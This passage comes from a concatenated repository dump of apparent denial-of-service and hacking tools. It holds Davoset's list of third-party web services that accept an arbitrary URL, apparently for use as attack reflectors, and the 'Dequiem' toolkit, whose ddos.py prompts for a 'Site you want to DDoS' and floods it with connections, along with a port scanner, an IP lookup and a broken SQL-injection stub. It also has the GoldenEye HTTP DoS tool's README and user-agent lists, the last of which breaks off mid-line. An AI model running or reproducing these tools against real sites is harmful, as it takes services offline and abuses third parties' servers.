linux_arora_0_1=on&linux_arora_0_11=on&linux_chrome_17_0=on&linux_chrome_27_0=on&linux_chrome_28_0=on&linux_dillo_2_1=on&linux_dillo_3_0=on&linux_epiphany_3_6=on&linux_firefox_3_0=on&linux_firefox_3_5=on&linux_firefox_3_6=on&linux_firefox_4_0=on&linux_firefox_5_0=on&linux_firefox_6_0=on&linux_firefox_7_0=on&linux_firefox_8_0=on&linux_firefox_9_0=on&linux_firefox_10_0=on&linux_firefox_11_0=on&linux_firefox_12_0=on&linux_firefox_13_0=on&linux_firefox_14_0=on&linux_firefox_15_0=on&linux_firefox_16_0=on&linux_firefox_17_0=on&linux_firefox_18_0=on&linux_firefox_19_0=on&linux_firefox_20_0=on&linux_firefox_21_0=on&linux_iceape_2_0=on&linux_iceape_2_7=on&linux_iceweasel_3_5=on&linux_iceweasel_17_0=on&linux_kazehakase_0_5=on&linux_konqueror_4_4=on&linux_konqueror_4_8=on&linux_konqueror_4_9=on&linux_links_2_7=on&linux_luakit_1_8=on&linux_lynx_2_8=on&linux_midori_0_4=on&linux_opera_10_53=on&linux_opera_10_6=on&linux_opera_10_63=on&linux_opera_11_1=on&linux_opera_11_11=on&linux_opera_11_52=on&linux_opera_11_61=on&linux_opera_11_64=on&linux_opera_12_0=on&linux_opera_12_1=on&linux_opera_12_11=on&linux_opera_12_12=on&linux_opera_12_14=on&linux_opera_12_2=on&linux_rekonq_1_1=on&linux_seamonkey_2_0=on&linux_seamonkey_2_1=on&linux_seamonkey_2_11=on&linux_seamonkey_2_13=on&linux_seamonkey_2_14=on&linux_seamonkey_2_15=on&linux_seamonkey_2_16=on&linux_seamonkey_2_17=on&linux_seamonkey_2_7=on&linux_seamonkey_2_8=on&linux_seamonkey_2_9=on&windows_avant_12_0=on&windows_chrome_2_0=on&windows_chrome_3_0=on&windows_chrome_4_0=on&windows_chrome_7_0=on&windows_chrome_8_0=on&windows_chrome_9_0=on&windows_chrome_10_0=on&windows_chrome_11_0=on&windows_chrome_12_0=on&windows_chrome_13_0=on&windows_chrome_14_0=on&windows_chrome_15_0=on&windows_chrome_16_0=on&windows_chrome_17_0=on&windows_chrome_18_0=on&windows_chrome_19_0=on&windows_chrome_20_0=on&windows_chrome_21_0=on&windows_chrome_22_0=on&windows_chrome_23_0=on&windows_chrome_24_0=on&windows_chrome_25_0=on&windows_chrome_26_0=on&windows_chrome_27_0=on&windows_chrome_28_0=on&windows_firefox_1_5=on&windows_firefox_2_0=on&windows_firefox_3_6=on&windows_firefox_4_0=on&windows_firefox_5_0=on&windows_firefox_6_0=on&windows_firefox_7_0=on&windows_firefox_8_0=on&windows_firefox_9_0=on&windows_firefox_10_0=on&windows_firefox_11_0=on&windows_firefox_12_0=on&windows_firefox_13_0=on&windows_firefox_14_0=on&windows_firefox_15_0=on&windows_firefox_16_0=on&windows_firefox_17_0=on&windows_firefox_18_0=on&windows_firefox_19_0=on&windows_firefox_20_0=on&windows_firefox_21_0=on&windows_firefox_22_0=on&windows_firefox_23_0=on&windows_flock_2_6=on&windows_maxthon_3_4=on&windows_msie_5_5=on&windows_msie_6_0=on&windows_msie_7_0=on&windows_msie_8_0=on&windows_msie_9_0=on&windows_msie_10_0=on&windows_navigator_9_0=on&windows_opera_9_8=on&windows_opera_10_63=on&windows_opera_11_64=on&windows_opera_15_0=on&windows_safari_5_0=on&windows_seamonkey_2_12=on&windows_seamonkey_2_14=on&windows_seamonkey_2_15=on&windows_yandex.browser_1_0=on&windows_yandex.browser_1_7=on&mac-os_camino_2_1=on&mac-os_chrome_27_0=on&mac-os_firefox_13_0=on&mac-os_firefox_14_0=on&mac-os_firefox_15_0=on&mac-os_firefox_16_0=on&mac-os_firefox_17_0=on&mac-os_firefox_18_0=on&mac-os_firefox_19_0=on&mac-os_firefox_20_0=on&mac-os_firefox_21_0=on&mac-os_firefox_22_0=on&mac-os_safari_5_0=on&mac-os_safari_5_1=on&mac-os_safari_6_0=on&bsd_dillo_2_0=on&bsd_epiphany_2_22=on&bsd_epiphany_2_3=on&bsd_firefox_3_0=on&bsd_kazehakase_0_5=on&bsd_konqueror_3_5=on&bsd_opera_9_64=on&bsd_seamonkey_1_1=on&preset=-1&width=dontcare&bits_per_pixel=dontcare&javascript=dontcare&java=dontcare&flash=dontcare&url= 2 | -------------------------------------------------------------------------------- /Linux/Davoset/list.txt: -------------------------------------------------------------------------------- 1 | http://regex.info/exif.cgi?url= 2 | http://anonymouse.org/cgi-bin/anon-www.cgi/ 3 | http://www.google.com/translate?u= 4 | http://validator.w3.org/check?uri= 5 | http://translate.google.com/translate?u= 6 | http://www.w3.org/2005/08/online_xslt/xslt?xslfile=http%3A%2F%2Fwww.w3.org%2F2002%2F08%2Fextract-semantic.xsl&xmlfile= 7 | http://www.w3.org/2005/08/online_xslt/xslt?xmlfile=http://www.w3.org&xslfile= 8 | http://feedvalidator.org/check.cgi?url= 9 | http://www.cynthiasays.com/mynewtester/cynthia.exe?rptmode=-1&url1= 10 | http://www.watchmouse.com/en/checkit.php?c=jpcheckit&vurl= 11 | http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL= 12 | http://www.translate.ru/url/translation.aspx?direction=er&sourceURL= 13 | http://panel.stopthehacker.com/services/validate-payflow?email=1@1.com&callback=a&target= 14 | http://about42.nl/www/showheaders.php;POST;about42.nl.txt 15 | http://web-sniffer.net/?url= 16 | -------------------------------------------------------------------------------- /Linux/Davoset/ping-admin.ru.txt: -------------------------------------------------------------------------------- 1 | a=do_free_seo&sa=begin_test&lnk=1&url= 2 | -------------------------------------------------------------------------------- /Linux/Dequiem/Deq/SQLi.py: -------------------------------------------------------------------------------- 1 | #plan on sqlinjection 2 | #main idea on column 3 | 4 | import socket 5 | import sys 6 | import os 7 | import time 8 | import urllib2 9 | import base64 10 | import re 11 | from urllib2 import URLError, HTTPError 12 | from optparse import OptionParser 13 | 14 | #Target Website 15 | website = raw_input( "Target Website:" ) 16 | #Connection to Website 17 | hosc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 18 | 19 | #Database Injection 20 | #Column find 21 | column = 1 22 | order = hosc.connect((website + " order by" + column, 80)) 23 | socket.error 24 | while hosc != socket.error: 25 | order 26 | column = column + 1 27 | 28 | column2 = column - 2 29 | print("The number of columns is" + column2) 30 | allcolumn= range(1,column2) 31 | hosc.connect((website + " UNION SELECT " + allcolumn, 80)) 32 | 33 | #Results 34 | -------------------------------------------------------------------------------- /Linux/Dequiem/Deq/ddos.py: -------------------------------------------------------------------------------- 1 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 2 | 3 | #+--------------------+ 4 | #|Creators : | 5 | #|-Drarqua GHS Storm | 6 | #|-Rebel Yell | 7 | #+--------------------+ 8 | 9 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 10 | 11 | import time 12 | import socket 13 | import os 14 | import sys 15 | import string 16 | 17 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 18 | 19 | def restart_program(): 20 | python = sys.executable 21 | os.execl(python, python, * sys.argv) 22 | curdir = os.getcwd() 23 | 24 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 25 | 26 | print ("DDoS mode loaded") 27 | host=raw_input( "Site you want to DDoS:" ) 28 | port=input( "Port you want to attack:" ) 29 | message=raw_input( "Input the message you want to send:" ) 30 | conn=input( "How many connections you want to make:" ) 31 | ip = socket.gethostbyname( host ) 32 | print ("[" + ip + "]") 33 | print ( "[Ip is locked]" ) 34 | print ( "[Attacking " + host + "]" ) 35 | print ("+----------------------------+") 36 | def dos(): 37 | #pid = os.fork() 38 | ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 39 | try: 40 | ddos.connect((host, 80)) 41 | ddos.send( message ) 42 | ddos.sendto( message, (ip, port) ) 43 | ddos.send( message ); 44 | except socket.error, msg: 45 | print("|[Connection Failed] |") 46 | print ( "|[DDoS Attack Engaged] |") 47 | ddos.close() 48 | for i in range(1, conn): 49 | dos() 50 | print ("+----------------------------+") 51 | print("The connections you requested had finished") 52 | if __name__ == "__main__": 53 | answer = raw_input("Do you want to ddos more?") 54 | if answer.strip() in "y Y yes Yes YES".split(): 55 | restart_program() 56 | else: 57 | os.system(curdir+"\Deq\main.py") 58 | 59 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 60 | -------------------------------------------------------------------------------- /Linux/Dequiem/Deq/findip.py: -------------------------------------------------------------------------------- 1 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 2 | 3 | #+--------------------+ 4 | #|Creators : | 5 | #|-Drarqua GHS Storm | 6 | #|-Rebel Yell | 7 | #+--------------------+ 8 | 9 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 10 | 11 | import socket 12 | 13 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 14 | 15 | def restart_program(): 16 | python = sys.executable 17 | os.execl(python, python, * sys.argv) 18 | curdir = os.getcwd() 19 | 20 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 21 | 22 | host = raw_input( "Site you want to find Ip:" ) 23 | ip = socket.gethostbyname( host ) 24 | print ("The ip is :") 25 | print ("[" + ip + "]") 26 | if __name__ == "__main__": 27 | answer = raw_input("Do you want to search for another site's IP?") 28 | if answer.strip() in "y Y yes Yes YES".split(): 29 | restart_program() 30 | else: 31 | os.system(curdir+"\Deq\main.py") 32 | -------------------------------------------------------------------------------- /Linux/Dequiem/Deq/help.py: -------------------------------------------------------------------------------- 1 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 2 | 3 | #+--------------------+ 4 | #|Creators : | 5 | #|-Drarqua GHS Storm | 6 | #|-Rebel Yell | 7 | #+--------------------+ 8 | 9 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 10 | 11 | import os 12 | import sys 13 | 14 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 15 | 16 | def restart_program(): 17 | python = sys.executable 18 | os.execl(python, python, * sys.argv) 19 | curdir = os.getcwd() 20 | 21 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 22 | 23 | shelp = raw_input("In which command you need help ?") 24 | if shelp == "help -ddos": 25 | print ("+---------------------------------------------+") 26 | print ("|This is ddos mode , in which you can send |") 27 | print ("|packets to a website in order to take it down|") 28 | print ("+---------------------------------------------+") 29 | if __name__ == "__main__": 30 | answer = raw_input("Do you want to find help for more commands?") 31 | if answer.strip() in "y Y yes Yes YES".split(): 32 | restart_program() 33 | else: 34 | os.system(curdir+"\Deq\main.py") 35 | elif shelp == "help -findip": 36 | print ("+----------------------------------------+") 37 | print ("|In this mode you can find a website's ip|") 38 | print ("|in oreder to make another attacks. |") 39 | print ("+----------------------------------------+") 40 | if __name__ == "__main__": 41 | answer = raw_input("Do you want to find help for more commands?") 42 | if answer.strip() in "y Y yes Yes YES".split(): 43 | restart_program() 44 | else: 45 | os.system(curdir+"\Deq\main.py") 46 | elif shelp == "help -hack": 47 | print ("+---------------------------------------------+") 48 | print ("|Hack mode currently doesn't work ,but we are |") 49 | print ("|working on it |") 50 | print ("|It will probably be a SQLInjection tool |") 51 | print ("+---------------------------------------------+") 52 | if __name__ == "__main__": 53 | answer = raw_input("Do you want to find help for more commands?") 54 | if answer.strip() in "y Y yes Yes YES".split(): 55 | restart_program() 56 | else: 57 | os.system(curdir+"\Deq\main.py") 58 | elif shelp =="help -help": 59 | print ("+---------------------------------------------+") 60 | print ("|Help is a mode where you can find information|") 61 | print ("|about other modes . |") 62 | print ("+---------------------------------------------+") 63 | if __name__ == "__main__": 64 | answer = raw_input("Do you want to find help for more commands?") 65 | if answer.strip() in "y Y yes Yes YES".split(): 66 | restart_program() 67 | else: 68 | os.system(curdir+"\Deq\main.py") 69 | elif shelp =="help -portscan": 70 | print ("+---------------------------------------------+") 71 | print ("|Port Scan is about find open ports for a |") 72 | print ("|a successfull ddos attack or something else |") 73 | print ("+---------------------------------------------+") 74 | if __name__ == "__main__": 75 | answer = raw_input("Do you want to find help for more commands?") 76 | if answer.strip() in "y Y yes Yes YES".split(): 77 | restart_program() 78 | else: 79 | os.system(curdir+"\Deq\main.py") 80 | else: 81 | print("We cant find help about" + shelp ) 82 | if __name__ == "__main__": 83 | answer = raw_input("Do you want to find help for more commands?") 84 | if answer.strip() in "y Y yes Yes YES".split(): 85 | restart_program() 86 | else: 87 | os.system(curdir+"\Deq\main.py") 88 | 89 | 90 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 91 | -------------------------------------------------------------------------------- /Linux/Dequiem/Deq/main.py: -------------------------------------------------------------------------------- 1 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 2 | 3 | #+--------------------+ 4 | #|Creators : | 5 | #|-Drarqua GHS Storm | 6 | #|-Rebel Yell | 7 | #+--------------------+ 8 | 9 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 10 | 11 | import os 12 | import sys 13 | 14 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 15 | 16 | def restart_program(): 17 | python = sys.executable 18 | os.execl(python, python, * sys.argv) 19 | curdir = os.getcwd() 20 | 21 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 22 | 23 | mode = raw_input( "Choose the mode you want this program to use:" ) 24 | if mode == "hack": 25 | os.system(curdir+"\Deq\hack.py") 26 | elif mode == "help": 27 | print ( "+-----------+") 28 | print ( "|Modes are: |" ) 29 | print ( "|-hack |" ) 30 | print ( "|-help |" ) 31 | print ( "|-ddos |" ) 32 | print ( "|-findip |" ) 33 | print ( "|-portscan |" ) 34 | print ( "+-----------+") 35 | print ( "For further help about a command type 'help '") 36 | print ( "For example: help -ddos") 37 | fhelp = raw_input("Do you need more help ?") 38 | if fhelp in "n No NO N no".split(): 39 | restart_program() 40 | else: 41 | os.system(curdir+"\Deq\help.py") 42 | elif mode == "findip": 43 | os.system(curdir+"\Deq\findip.py") 44 | elif mode in "DDoS ddos -ddos -DDoS".split(): 45 | os.system(curdir+"\Deq\ddos.py") 46 | elif mode == "portscan": 47 | os.system(curdir+"\Deq\portscan.py") 48 | else: 49 | print ( "This mode doesn't exist" ) 50 | print ( "Restart the Dequiem please" ) 51 | if __name__ == "__main__": 52 | answer = raw_input("Do you want to restart Dequiem ?") 53 | if answer.strip() in "y Y yes Yes YES".split(): 54 | print ( "Thank you for using Dequiem 2.0 ") 55 | restart_program() 56 | 57 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 58 | -------------------------------------------------------------------------------- /Linux/Dequiem/Deq/portscan.py: -------------------------------------------------------------------------------- 1 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 2 | 3 | #+--------------------+ 4 | #|Creators : | 5 | #|-Drarqua GHS Storm | 6 | #|-Rebel Yell | 7 | #+--------------------+ 8 | 9 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 10 | 11 | import time 12 | import socket 13 | import os 14 | import sys 15 | import string 16 | 17 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 18 | 19 | def restart_program(): 20 | python = sys.executable 21 | os.execl(python, python, * sys.argv) 22 | curdir = os.getcwd() 23 | 24 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 25 | 26 | address = raw_input( "Choose your target:" ) 27 | start = input( "From port:" ) 28 | stop = input( "To port:" ) 29 | openportsL = [] 30 | def portscan(address, port): 31 | ps = socket.socket() 32 | print ("Searching for open ports") 33 | try: 34 | ps.connect((address, port)) 35 | print ("[Port %s is OPEN.]") %(port) 36 | openportsL[1:1] = [port] 37 | return True 38 | except socket.error, msg: 39 | return False 40 | s.close() 41 | print ("Port Scan Started ... It may take time") 42 | for port in range(start, stop): 43 | portscan(address, port) 44 | print ("Port Scann completed") 45 | print ("The open ports are :") 46 | print ( openportsL ) 47 | if __name__ == "__main__": 48 | answer = raw_input("Do you want to Portscan again?") 49 | if answer.strip() in "y Y yes Yes YES".split(): 50 | restart_program() 51 | else: 52 | os.system(curdir+"\Deq\main.py") 53 | 54 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 55 | -------------------------------------------------------------------------------- /Linux/Dequiem/Dequiem2.0.py: -------------------------------------------------------------------------------- 1 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 2 | 3 | #+--------------------+ 4 | #|Creators : | 5 | #|-Drarqua GHS Storm | 6 | #|-Rebel Yell | 7 | #+--------------------+ 8 | 9 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 10 | 11 | import webbrowser 12 | import os 13 | import sys 14 | 15 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 16 | 17 | music = raw_input( "Do you want to hear the featured music of the week ?" ) 18 | if music in "y Y yes Yes YES".split(): 19 | webbrowser.open_new("http://www.youtube.com/watch?v=kmBnvajSfWU") 20 | 21 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 22 | print ( "Dequiem Tool") 23 | print ( "Version 2.0" ) 24 | print ( "Currentrly Working:") 25 | print ( "+-----------+") 26 | print ( "|ddos |") 27 | print ( "|findip |") 28 | print ( "|portscan |") 29 | print ( "|help |") 30 | print ( "+-----------+") 31 | curdir = os.getcwd() 32 | os.system(curdir+"\Deq\main.py") 33 | 34 | #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 35 | -------------------------------------------------------------------------------- /Linux/GoldenEye/README.md: -------------------------------------------------------------------------------- 1 | # GoldenEye 2 | 3 | GoldenEye is an python app for SECURITY TESTING PURPOSES ONLY! 4 | 5 | GoldenEye is a HTTP DoS Test Tool. 6 | 7 | Attack Vector exploited: HTTP Keep Alive + NoCache 8 | 9 | ## Usage 10 | 11 | USAGE: ./goldeneye.py [OPTIONS] 12 | 13 | OPTIONS: 14 | Flag Description Default 15 | -u, --useragents File with user-agents to use (default: randomly generated) 16 | -w, --workers Number of concurrent workers (default: 50) 17 | -s, --sockets Number of concurrent sockets (default: 30) 18 | -m, --method HTTP Method to use 'get' or 'post' or 'random' (default: get) 19 | -d, --debug Enable Debug Mode [more verbose output] (default: False) 20 | -h, --help Shows this help 21 | 22 | 23 | ## Utilities 24 | * util/getuas.py - Fetchs user-agent lists from http://www.useragentstring.com/pages/useragentstring.php subpages (ex: ./getuas.py http://www.useragentstring.com/pages/Browserlist/) *REQUIRES BEAUTIFULSOUP4* 25 | * res/lists/useragents - Text lists (one per line) of User-Agent strings (from http://www.useragentstring.com) 26 | 27 | ## License 28 | This software is distributed under the GNU General Public License version 3 (GPLv3) 29 | 30 | ## LEGAL NOTICE 31 | THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY! IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS. 32 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/android.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (Linux; U; Android 4.0.4; fr-fr; MIDC409 Build/IMM76D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 2 | Mozilla/5.0 (Linux; U; Android 4.0.3; fr-fr; MIDC410 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 3 | Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1 4 | Mozilla/5.0 (Linux; U; Android 4.0.3; ru-ru; Explay Surfer 7.02 Build/ICS.g12refM703A1HZ1.20121009) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 5 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 7 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 6 | Mozilla/5.0 (Android; Mobile; rv:18.0) Gecko/18.0 Firefox/18.0 7 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 4 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19 8 | Mozilla/5.0 (Linux; U; Android 4.0.3; es-es; MIDC410 Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 9 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 10 | Mozilla/5.0 (Linux; Android 4.1.2; GT-I9300 Build/JZO54K) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19 11 | Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 12 | Mozilla/5.0 (Linux; U; Android 4.0.2; en-us; Galaxy Nexus Build/ICL53F) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 13 | Mozilla/5.0 (Android; Tablet; rv:18.0) Gecko/18.0 Firefox/18.0 14 | Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus S Build/JRO03E) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 15 | Mozilla/5.0 (Linux; Android 4.2.1; Nexus 10 Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19 16 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-gb; GT-I9300 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 17 | Mozilla/5.0 (Linux; Android 4.2.1; Galaxy Nexus Build/JOP40D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Mobile Safari/535.19 18 | Mozilla/5.0 (Linux; U; Android 4.1.2; en-au; GT-N5100 Build/JZO54K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30 19 | MSM7627A/1.0 Android/2.3 gingerbread/2.3.5 Release/11.16.2011 Browser/WebKit533.1 Profile/MIDP-1.0 Configuration/CLDC-1.0 20 | Opera/9.80 (Android 4.0.4; Linux; Opera Mobi/ADR-1301080958) Presto/2.11.355 Version/12.10 21 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/cloudplatforms.txt: -------------------------------------------------------------------------------- 1 | AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex) 2 | AppEngine-Google; (+http://code.google.com/appengine; appid: unblock4myspace) 3 | AppEngine-Google; (+http://code.google.com/appengine; appid: tunisproxy) 4 | AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-in-rs) 5 | AppEngine-Google; (+http://code.google.com/appengine; appid: proxy-ba-k) 6 | AppEngine-Google; (+http://code.google.com/appengine; appid: moelonepyaeshan) 7 | AppEngine-Google; (+http://code.google.com/appengine; appid: mirrorrr) 8 | AppEngine-Google; (+http://code.google.com/appengine; appid: mapremiereapplication) 9 | AppEngine-Google; (+http://code.google.com/appengine; appid: longbows-hideout) 10 | AppEngine-Google; (+http://code.google.com/appengine; appid: eduas23) 11 | AppEngine-Google; (+http://code.google.com/appengine; appid: craigserver) 12 | AppEngine-Google; ( http://code.google.com/appengine; appid: proxy-ba-k) 13 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/feedreaders.txt: -------------------------------------------------------------------------------- 1 | Bloglines/3.1 (http://www.bloglines.com) 2 | Bloglines/3.0-rho (http://www.bloglines.com; 3 subscribers) 3 | everyfeed-spider/2.0 (http://www.everyfeed.com) 4 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=8639390370582375869) 5 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=375807642710480585) 6 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=1992026586303346733) 7 | Feedfetcher-Google; (+http://www.google.com/feedfetcher.html; feed-id=13645798864011762265) 8 | FeedFetcher-Google; (+http://www.google.com/feedfetcher.html) 9 | GreatNews/1.0 10 | Gregarius/0.5.2 (+http://devlog.gregarius.net/docs/ua) 11 | MagpieRSS/0.7 ( http://magpierss.sf.net) 12 | NFReader/1.4.1.0 (http://www.gaijin.at/) 13 | UniversalFeedParser/3.3 +http://feedparser.org/ 14 | -------------------------------------------------------------------------------- /Linux/GoldenEye/res/lists/useragents/ipad.txt: -------------------------------------------------------------------------------- 1 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10B141 Safari/8536.25 2 | Mozilla/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A523 Safari/8536.25 3 | Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3 4 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10 5 | Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10 6 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X; en-us) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B141 Safari/8536.25 7 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25 8 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Mobile/10B141 9 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25 10 | Mozilla/5.0 (iPad; CPU iPhone OS 501 like Mac OS X) AppleWebKit/534.46 (KHTML like Gecko) Version/5.1 Mobile/9A405 Safari/7534.48.3 11 | Mozilla/5.0 (iPad; CPU OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3 12 | Mozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 13 | Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A407 Safari/8536.25 14 | Mozilla/5.0 (iPad; U; CPU OS 4_3_5 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/8L1 Safari/6533.18.5 15 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X; en-gb) AppleWebKit/536.26 (KHTML, like Gecko) CriOS/23.0.1271.100 Mobile/10B141 Safari/8536.25 16 | Mozilla/5.0 (iPad; CPU OS 6_1 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) 